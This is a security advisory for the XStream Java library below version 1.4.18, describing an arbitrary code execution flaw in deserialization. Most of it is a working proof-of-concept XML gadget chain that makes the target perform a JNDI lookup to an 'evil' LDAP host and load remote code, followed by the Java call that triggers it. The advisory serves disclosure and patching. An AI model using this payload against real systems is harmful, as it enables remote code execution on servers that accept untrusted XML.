Arbitrary Code Execution Affecting com.thoughtworks.xstream:xstream package, versions [,1.4.18)

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>test</type>
    <value class='javax.swing.MultiUIDefaults' serialization='custom'>
      <unserializable-parents/>
      <hashtable>
          <default>
            <loadFactor>0.75</loadFactor>
            <threshold>525</threshold>
          </default>
          <int>700</int>
          <int>0</int>
      </hashtable>
      <javax.swing.UIDefaults>
          <default>
            <defaultLocale>zh_CN</defaultLocale>
            <resourceCache/>
          </default>
      </javax.swing.UIDefaults>
      <javax.swing.MultiUIDefaults>
          <default>
            <tables>
            <javax.swing.UIDefaults serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                <default>
                  <loadFactor>0.75</loadFactor>
                  <threshold>525</threshold>
                </default>
                <int>700</int>
                <int>1</int>
                <string>lazyValue</string>
                <javax.swing.UIDefaults_-ProxyLazyValue>
                  <className>javax.naming.InitialContext</className>
                  <methodName>doLookup</methodName>
                  <args>
                    <string>ldap://127.0.0.1:1389/#evil</string>
                  </args>
                </javax.swing.UIDefaults_-ProxyLazyValue>
              </hashtable>
              <javax.swing.UIDefaults>
                <default>
                  <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
                  <resourceCache/>
                </default>
              </javax.swing.UIDefaults>
            </javax.swing.UIDefaults>
            </tables>
          </default>
      </javax.swing.MultiUIDefaults>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>test</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

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